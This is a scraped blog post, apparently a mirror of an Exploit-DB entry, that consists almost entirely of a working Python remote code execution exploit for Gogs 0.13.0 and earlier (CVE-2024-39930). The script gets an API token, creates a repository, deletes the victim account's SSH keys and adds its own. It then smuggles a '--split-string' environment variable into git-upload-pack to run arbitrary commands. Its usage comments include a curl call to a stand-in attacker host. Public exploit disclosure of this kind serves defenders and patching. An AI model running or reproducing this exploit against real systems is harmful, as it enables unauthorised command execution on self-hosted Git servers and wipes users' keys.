\n# Exploit Title: gogs 0.13.0 – Remote Code Execution (RCE)
\n
# Date: 27th June, 2025
\n
# Exploit Author: Ardayfio Samuel Nii Aryee
\n
# Software link: https:\/\/github.com\/gogs\/gogs.git
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# Version: gogs <=0.13.0\n
# Tested on: Ubuntu
\n
# CVE: CVE-2024-39930<\/p>\n
# ===============================
\n
# Example Usage:
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# python3 exploit.py http:\/\/gogs.local:3000 alice:password123 ~\/.ssh\/id_rsa ~\/.ssh\/id_rsa.pub “touch \/tmp\/pwned”
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# python3 exploit.py http:\/\/gogs.local:3000 alice:password123 ~\/.ssh\/id_rsa ~\/.ssh\/id_rsa.pub “curl http:\/\/atacker.com” –ssh-port 2222
\n
# ===============================<\/p>\n
import requests
\n
import paramiko
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import base64
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import random
\n
import string
\n
import sys
\n
import argparse
\n
from urllib.parse import urlparse<\/p>\n
API_BASE_URL = “”<\/p>\n
def generate_random_string(length=8, charset=None):
\n
if charset is None:
\n
charset = string.ascii_letters + string.digits
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return ”.join(random.choices(charset, k=length))<\/p>\n
def make_headers(token=None, basic_auth=None):
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headers = {“Content-Type”: “application\/json”}
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if token:
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headers[“Authorization”] = f”token {token}”
\n
elif basic_auth:
\n
b64 = base64.b64encode(basic_auth.encode()).decode()
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headers[“Authorization”] = f”Basic {b64}”
\n
return headers<\/p>\n
def http_post(path, json=None, headers=None):
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url = f”{API_BASE_URL}{path}”
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response = requests.post(url, json=json, headers=headers)
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response.raise_for_status()
\n
return response<\/p>\n
def http_get(path, headers=None):
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url = f”{API_BASE_URL}{path}”
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response = requests.get(url, headers=headers)
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response.raise_for_status()
\n
return response<\/p>\n
def http_delete(path, headers=None):
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url = f”{API_BASE_URL}{path}”
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response = requests.delete(url, headers=headers)
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response.raise_for_status()
\n
return response<\/p>\n
def obtain_api_token(username, password):
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auth = f”{username}:{password}”
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headers = make_headers(basic_auth=auth)
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data = {“name”: generate_random_string()}<\/p>\n
try:
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response = http_post(f”\/users\/{username}\/tokens”, json=data, headers=headers)
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token = response.json()[‘sha1’]
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print(f”[+] API Token Acquired: {token}”)
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return token
\n
except Exception as e:
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print(f”[!] Failed to obtain API token: {e}”)
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sys.exit(1)<\/p>\n
def create_repo(token):
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repo_name = generate_random_string()
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headers = make_headers(token=token)
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data = {
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“name”: repo_name,
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“description”: “Auto-created repository”,
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“private”: False
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}<\/p>\n
try:
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response = http_post(“\/user\/repos”, json=data, headers=headers)
\n
full_name = response.json()[‘full_name’]
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print(f”[+] Repository Created: {full_name}”)
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return full_name
\n
except Exception as e:
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print(f”[!] Failed to create repository: {e}”)
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sys.exit(1)<\/p>\n
def delete_existing_ssh_keys(token):
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headers = make_headers(token=token)
\n
try:
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response = http_get(“\/user\/keys”, headers=headers)
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keys = response.json()
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for key in keys:
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key_id = key[‘id’]
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http_delete(f”\/user\/keys\/{key_id}”, headers=headers)
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print(f”[+] Deleted SSH Key ID: {key_id}”)
\n
except Exception as e:
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print(f”[!] Failed to delete existing SSH keys: {e}”)
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sys.exit(1)<\/p>\n
def add_ssh_key(public_key_path, token):
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delete_existing_ssh_keys(token)<\/p>\n
try:
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with open(public_key_path, ‘r’) as f:
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key = f.read()
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except Exception as e:
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print(f”[!] Failed to read public key file: {e}”)
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sys.exit(1)<\/p>\n
headers = make_headers(token=token)
\n
data = {
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“title”: generate_random_string(),
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“key”: key
\n
}<\/p>\n
try:
\n
response = http_post(“\/user\/keys”, json=data, headers=headers)
\n
print(f”[+] SSH Key Added: {response.status_code}”)
\n
except Exception as e:
\n
print(f”[!] Failed to add SSH key: {e}”)
\n
sys.exit(1)<\/p>\n
def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
\n
try:
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key = paramiko.RSAKey.from_private_key_file(private_key_path)
\n
except Exception as e:
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print(f”[!] Failed to load SSH key: {e}”)
\n
sys.exit(1)<\/p>\n
try:
\n
client = paramiko.SSHClient()
\n
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
\n
client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)<\/p>\n
session = client.get_transport().open_session()<\/p>\n
print(“[+] Executing command…… “)
\n
session.set_environment_variable(“–split-string”, command)
\n
session.exec_command(f”git-upload-pack {repo_path}”)<\/p>\n
stdout = session.makefile(‘rb’, 1024)
\n
stderr = session.makefile_stderr(‘rb’, 1024)<\/p>\n
print(“STDERR:”, stderr.read().decode())
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print(“STDOUT:”, stdout.read().decode())<\/p>\n
session.close()
\n
client.close()
\n
except Exception as e:
\n
print(f”[!] Error: {e}”)
\n
sys.exit(1)<\/p>\n
def main():
\n
global API_BASE_URL<\/p>\n
parser = argparse.ArgumentParser(description=”Exploit Gogs SSH argument injection (CVE-2024-39930)”)
\n
parser.add_argument(“url”, help=”Gogs application URL (e.g., http:\/\/skillforge.lab:3000)”)
\n
parser.add_argument(“auth”, help=”Gogs credentials in the format username:password”)
\n
parser.add_argument(“private_key”, help=”Path to private SSH key”)
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parser.add_argument(“public_key”, help=”Path to public SSH key”)
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parser.add_argument(“command”, help=”Command to execute remotely”)
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parser.add_argument(“–ssh-port”, type=int, default=None, help=”Optional: custom SSH port to use”)
\n
args = parser.parse_args()<\/p>\n
parsed_url = urlparse(args.url)
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API_BASE_URL = f”{parsed_url.scheme}:\/\/{parsed_url.netloc}\/api\/v1″
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ssh_host = parsed_url.hostname
\n
ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)<\/p>\n
try:
\n
username, password = args.auth.split(“:”)
\n
except ValueError:
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print(“[!] Invalid format for auth argument”)
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sys.exit(1)<\/p>\n
token = obtain_api_token(username, password)
\n
repo_path = create_repo(token)
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add_ssh_key(args.public_key, token)<\/p>\n
exploit(
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ssh_user=username,
\n
ssh_host=ssh_host,
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ssh_port=ssh_port,
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private_key_path=args.private_key,
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repo_path=repo_path,
\n
command=args.command
\n
)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title gogs 0.13.0 – Remote Code Execution (RCE) Exploit ID EDB-ID:52348 Type exploitdb Published 2025-07-02T00:00:00 Modified 2025-07-02T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,40,13,7,11,5],"class_list":["post-7503","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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